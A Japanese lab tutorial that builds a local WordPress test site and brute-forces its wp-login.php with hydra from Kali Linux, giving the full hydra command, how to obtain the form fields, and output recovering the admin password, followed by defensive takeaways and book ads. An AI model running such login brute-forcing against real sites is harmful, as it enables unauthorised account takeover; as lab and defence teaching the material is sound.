ハッキング：hydraでWordPress管理画面にブルートフォースアタック

# ハッキング：hydraでWordPress管理画面にブルートフォースアタック

<strong>注意：ハッキング行為をいかなる稼働環境・サービスに対しても行わないでください。成功しなくとも試みること自体が違法行為になります。</strong>

## Prerequisite（前提）

・環境は手元のWindowsマシン上ですべて完結。
・Kali LinuxをVM Workstationにすでに構築済み（注：VMのNIC設定をブリッジにする）参考：[Kali Linux 2020.3 install Windows 10 (for free)](https://youtu.be/VAMP8DqSDjg)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/40599326-ff36-f22b-f5dc-5394ce1a56ea.png)


## テスト環境構築

### テスト用WordPress仮想環境

Local by Flywheelを使ってテスト用WordPress環境を構築（詳細は[「ローカル環境でWordPressを動かそう！」](https://creava.work/archives/401#WordPress-3)）

1. Local by Flywheelのインストールファイルをhttps://localwp.com/ からダウンロード。
2. local-5.9.9-windows.exe（Windowsの場合）を実行してインストール。
3. インストールしたらLocal by Flywheelを立ち上げる。

適当なサイト名を入力してCONTINUE。ここではwptestとした。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/19c6c663-0326-f6fb-6d9f-131803d2e271.png)

デフォルトのままCONTINUE
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/7728cbf1-2abd-07f0-fd3a-d6dc600cfd32.png)

WordPressの管理ユーザー名とパスワードを入力。Emailは使わないのでデフォルトのままでよい。管理ユーザー名はよく使われるadminとした。ADD SITEをクリック
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/58c75833-0aba-c790-ab38-8569d5fb7b25.png)

5分～10分ほど待つと・・・

できた。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/25184d10-b455-fe09-29cc-3ab8ec772eff.png)

ADMINボタンをクリック
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/7c420fe5-e76d-38b9-03c5-b76e2824a29c.png)

アドレスhttp://wptest.local/wp-login.php で開ける。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/ed7ca3dc-53f4-fcf8-469a-8ff247972817.png)
ログインしてみる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/190054cd-e541-4d26-633d-e27242caa903.png)
管理画面にログインできた。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/355604d6-3808-b197-8c29-ea45b0ec8b14.png)

WordPressのバージョンはVersion 5.6.2
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/aa828295-d6fa-398f-aca7-7a3aadb316c8.png)


※ wptest.localというドメイン名は、Local by FlywheelがローカルWindowsマシンのhostsファイルを勝手にいじってレコードを追記してくれてるのでアクセス可能になっている。

```bat
### C:\windows\system32\drivers\etc\hosts
## Local by Flywheel - Start ##
::1 wptest.local #Local Site
127.0.0.1 wptest.local #Local Site ← これ
::1 www.wptest.local #Local Site
127.0.0.1 www.wptest.local #Local Site ← これ
## Local by Flywheel - End ##
```

<br />


### Kali Linux側の設定

Kaliからテスト用WordPressにドメイン名でアクセスできるように/etc/hostsファイルをいじる。wptest.localドメイン名に対しホストであるWindowsマシンが持つIPアドレスをアサインすればよい。

ローカルWindowsマシンのIPアドレス

```powershell
C:\Users\atyah>ipconfig
Windows IP 構成
Wireless LAN adapter Wi-Fi:
   接続固有の DNS サフィックス . . . . .:
   リンクローカル IPv6 アドレス. . . . .: fe80::f09d:ffff:1111:aaaaa
   IPv4 アドレス . . . . . . . . . . . .: 192.168.0.70 　　　← これ
   サブネット マスク . . . . . . . . . .: 255.255.255.0
   デフォルト ゲートウェイ . . . . . . .: 192.168.0.1
```

`sudo vim /etc/hosts`コマンドでhostsファイルに以下のようにエントリを追記。

```bat
// /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
192.168.0.70  wptest.local  ← このエントリを追記
```

ちなみにKali側のIPアドレス、参考まで。

```coffeescript
                                                                                                                                                         
┌──(kali㉿kali)-[/usr/share/wordlists]
└─$ ip addr
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:00:11:ee:cc:a1 brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.136/24 brd 192.168.0.255 scope global dynamic                                        
```
<br />

【確認作業】

そしたら、Kaliからテスト用WordPressにアクセスできるかKali上のFirefoxで確認（Pingは通らないので注意）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/b95df512-69f0-460a-6d74-50f7e9ca1492.png)


OK。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/f0d441a6-ddbc-f699-49c9-fcb133573a0f.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/fa1a7284-aa24-5c0d-3d93-2232933acb2c.png)


## 辞書ファイルを解凍、あるいは準備

Kaliには最初から辞書ファイルrockyou.txt.gzが/usr/share/wordlistsに配備されている。

```bash
                                                                                                                                                          
┌──(kali㉿kali)-[/usr/share/wordlists]
└─$ ll
total 52108
lrwxrwxrwx 1 root root       25 Nov 17 07:24 dirb -> /usr/share/dirb/wordlists
lrwxrwxrwx 1 root root       30 Nov 17 07:24 dirbuster -> /usr/share/dirbuster/wordlists
lrwxrwxrwx 1 root root       41 Nov 17 07:24 fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
lrwxrwxrwx 1 root root       45 Nov 17 07:24 fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
lrwxrwxrwx 1 root root       46 Nov 17 07:24 metasploit -> /usr/share/metasploit-framework/data/wordlists
lrwxrwxrwx 1 root root       41 Nov 17 07:24 nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
-rw-r--r-- 1 root root 53357329 Jul 17  2019 rockyou.txt.gz
lrwxrwxrwx 1 root root       25 Nov 17 07:24 wfuzz -> /usr/share/wfuzz/wordlist
                            
```

それを解凍する。

```bash
                                                                                                                          
┌──(kali㉿kali)-[/usr/share/wordlists]
└─$ sudo gzip -d rockyou.txt.gz
```

rockyou.txtができた。140MBある大きなファイル。

```bash
                                                                                         
┌──(kali㉿kali)-[/usr/share/wordlists]
└─$ ll
total 136648
lrwxrwxrwx 1 root root        25 Nov 17 07:24 dirb -> /usr/share/dirb/wordlists
lrwxrwxrwx 1 root root        30 Nov 17 07:24 dirbuster -> /usr/share/dirbuster/wordlists
lrwxrwxrwx 1 root root        41 Nov 17 07:24 fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
lrwxrwxrwx 1 root root        45 Nov 17 07:24 fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
lrwxrwxrwx 1 root root        46 Nov 17 07:24 metasploit -> /usr/share/metasploit-framework/data/wordlists
lrwxrwxrwx 1 root root        41 Nov 17 07:24 nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
-rw-r--r-- 1 root root 139921507 Jul 17  2019 rockyou.txt
lrwxrwxrwx 1 root root        25 Nov 17 07:24 wfuzz -> /usr/share/wfuzz/wordlist                                                                                                                         

```

あるいは別の辞書ファイルを用意する。日本語に特化した辞書ファイルがOpenwallに無造作に置かれていたのでそれを使用。
https://download.openwall.net/pub/wordlists/languages/

Kaliの/usr/share/wordlistsに落として解凍。

```bash
-rw-r--r-- 1 root root 922637 Feb 26 00:54 lower.txt
```

<br />

## ブルートフォース実行

Kali Linuxにはすでにhydra（ハイドラ）がインストールされている。

### コマンド準備

```bash
sudo hydra -l admin -P lower.txt wptest.local -V http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&testcoolie=1:F=Lost your password?"
```

##### オプション説明
-l : ユーザー名指定
-L : ユーザー名が特定できていないときにユーザー名辞書ファイルを指定
-P : パスワード辞書ファイルを指定
: ターゲットのホスト名指定。IPアドレスでも良い。ここではテスト用WordPressのドメイン名wptest.local
-V : POSTかGETか。POSTならhttp-post-form、GETならhttp-get-form。どちらかは後述

～以下タブルクオテーション内～
ログインページのパスを指定。ここではhttp://wptest.local/wp-login.php なので`/wp-login.php`と指定。
:log= : ユーザー名を指定。^で囲んで`^USER^`とすればソフトコード仕様になる。log=adminとすればハードコード。
&pwd= ： パスワードを指定。^で囲んで`^PASS^`とすればソフトコード仕様になる。
&wp-submit= ：後述
&testcoolie=　： 後述
:F= ： エラーメッセージを指定。後述


###### 【後述部分】
・Firefoxを立ち上げF12で開発者ツールを開く。
・テスト用WordPressの管理画面にアクセスしログインする。
・開発者ツールのネットワークタブで、ログインページであるwp-login.phpのログを見る。まずメソッドがPOSTになっているのでPOSTだとわかる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/7137f54b-0cca-4e4f-ac4d-0d53f4e43d97.png)
・それを右クリックして「編集して再送信」をクリック。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/2c8ed049-12c2-7a2d-646f-0f26f809064d.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/b77b877d-435d-1013-5f68-6075f38e89e4.png)
・右ペインのリクエストボディ部分を見る。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/ffb4a855-062b-51dd-0549-a15b16cbcc53.png)
・wp-submit= と testcookie= のパラメーターだけコピペする。それぞれ`Log+In`（たぶん`LogIn`で良い）と`1`
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/247ebab1-e82a-f58b-7aa2-7b668d8392f5.png)
・開発者ツールを閉じて、ログオフしてから今度はわざと間違ったパスワードでログイン失敗してみる。`Lost your password?`というエラーメッセージがブラウザに表示される。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307441/07982c52-7f48-9a57-1556-b7801d033862.png)
・それをコピペして`F=`のパラメーター値にする。たぶん`incorrect`でもいけるかもしれない。



<br />

### コマンド実行

```bash
──(kali㉿kali)-[/usr/share/wordlists]
└─$ sudo hydra -l admin -P lower.txt wptest.local -V http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=LogIn&testcoolie=1:F=Lost your password?"
[sudo] password for kali: 
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-02-26 03:03:21
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 113963 login tries (l:1/p:113963), ~7123 tries per task
[DATA] attacking http-post-form://wptest.local:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=LogIn&testcoolie=1:F=Lost your password?
[ATTEMPT] target wptest.local - login "admin" - pass "aa" - 1 of 113963 [child 0] (0/0)
[ATTEMPT] target wptest.local - login "admin" - pass "aaa" - 2 of 113963 [child 1] (0/0)
[ATTEMPT] target wptest.local - login "admin" - pass "aaai" - 3 of 113963 [child 2] (0/0)

・・・・・省　　略・・・・・

[ATTEMPT] target wptest.local - login "admin" - pass "abikomiw" - 71 of 113963 [child 13] (0/0)
[ATTEMPT] target wptest.local - login "admin" - pass "abikorik" - 72 of 113963 [child 7] (0/0)
[ATTEMPT] target wptest.local - login "admin" - pass "abikoshi" - 73 of 113963 [child 14] (0/0)
[ATTEMPT] target wptest.local - login "admin" - pass "abikosi" - 74 of 113963 [child 9] (0/0)
[ATTEMPT] target wptest.local - login "admin" - pass "abikyouk" - 75 of 113963 [child 11] (0/0)
[80][http-post-form] host: wptest.local   login: admin   password: abekobe
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-02-26 03:03:39
                                                                                               
```

最後から3行目、
`[80][http-post-form] host: wptest.local   login: admin   password: abekobe`

パスワードabekobeがハックできた。


## まとめ

・今回は“脆弱な”パスワードを試したが、“普通”以上のパスワードであっても強力な辞書ファイルがあれば突破できるだろう。
・ユーザー名も同じ。強力なユーザー辞書ファイルがあれば突破できるだろう。
・hydraの使い方は簡単なので、結局のところは辞書ファイルの優秀さとパスワードの複雑さのいたちごっことなる。
・Basic認証の導入はあまり意味なく、同じようにhydraで突破できてしまう。参考[Brute Force password protected Wordpress 4.3.1 Login form with hydra.](https://youtu.be/h5fsRl_Fovg)
・Basic認証で、`$COUNT`を.htaccessに設定して$COUNT回失敗したらアクセス拒否するようにすることは有効。しかし当然のことながらユーザー（運営管理者であるお客様など）へのサポートがキツくなる（「パスワード何度も間違えちゃった、ロック解除して～」という問い合わせ:telephone_receiver:など）。

・確実な手は2段階認証の導入。しかしプラグイン導入に伴う不具合リスクがあるし、お客様が忌避しがちなセキュリティ対応コストとなる。
・管理コンソールのURL変更も有効。しかしプラグイン導入に伴う不具合リスクがあるし、お客様が忌避しがちなセキュリティ対応コストとなる。

パスワードハック以外にもWordPressの脆弱性アタック方法は多く公開されていて丁寧にやり方が解説されている（英語やロシア語情報になるが）。

したがって、サーバーインスタンスを立てること自体がリスキー。結論としては、<font color="Red"><strong>静的サイトジェネレーターとヘッドレスCMSの組み合わせがやはり比較的安全</strong></font>、長期的に見て<font color="Red"><strong>低コスト</strong></font>であろう。

# 本の宣伝
### Gatsbyバージョン５>>>>改訂２版

**前編**の『Gatsby５前編ー最新Gatsbyでつくるコーポレートサイト』と**後編**の『Gatsby５後編ー最新GatsbyとmicroCMSでつくるコーポレートサイト《サイト内検索機能付き》』を合わせ、次のようなデモサイトを構築します。
→ **https://yah-space.work**
<hr />


静的サイトジェネレーターGatsby**最新バージョン５**の基本とFile System Route APIを使用して動的にページを生成する方法を解説。またバージョン５の新機能《**Slicy API**》《**Script API**》《**Head API**》を紹介、実装方法も。《**Gatsby Functions**》での問い合わせフォーム実装やGatsby Cloudへのアップロード方法も！


<a href="https://www.amazon.co.jp/gp/product/B0BXNJTJMY?&linkCode=li3&tag=kokkahasan-22&linkId=93c5e3bf1f226141ddc807300e81b07a&language=ja_JP&ref_=as_li_ss_il" target="_blank"><img border="0" src="//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B0BXNJTJMY&Format=_SL250_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=kokkahasan-22&language=ja_JP" ></a><img src="https://ir-jp.amazon-adsystem.com/e/ir?t=kokkahasan-22&language=ja_JP&l=li3&o=9&a=B0BXNJTJMY" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" />
<a target="_blank" href="https://www.amazon.co.jp/gp/product/B0BXXBDJDJ?&linkCode=ll1&tag=kokkahasan-22&linkId=df7e600968c58c0090cd735681c6732c&language=ja_JP&ref_=as_li_ss_tl">Gatsby５前編ー最新Gatsbyでつくるコーポレートサイト ～基礎の基礎から応用、新機能の導入まで（書籍2,980円）</a>

<br />
<br />

**最新Gatsby５**とmicroCMSを組み合わせてのコーポレートサイト作成手順を解説。《**サイト内検索機能**》をGatsbyバージョン４からの新機能《**Gatsby Functions**》と《**microCMSのqパラメータ**》で実装。また、**SEOコンポーネントをカスタマイズ**して**microCMS APIをツイッターカードに表示**させる**OGPタグ**実装方法も解説。

<a href="https://www.amazon.co.jp/gp/product/B0BXN99WSV?&linkCode=li3&tag=kokkahasan-22&linkId=68f1905bf915f6bd365559a0c65bcdd1&language=ja_JP&ref_=as_li_ss_il" target="_blank"><img border="0" src="//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B0BXN99WSV&Format=_SL250_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=kokkahasan-22&language=ja_JP" ></a><img src="https://ir-jp.amazon-adsystem.com/e/ir?t=kokkahasan-22&language=ja_JP&l=li3&o=9&a=B0BXN99WSV" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" />
<a target="_blank" href="https://www.amazon.co.jp/dp/B0BXN99WSV?_encoding=UTF8&qid=&sr=&linkCode=li2&tag=kokkahasan-22&linkId=f02e2f9c50736e3f074b38b4cd73894a&language=ja_JP&ref_=as_li_ss_il">Gatsby５後編ー最新GatsbyとmicroCMSでつくるコーポレートサイト《サイト内検索機能付き》（書籍 2,790円）</a>

<br />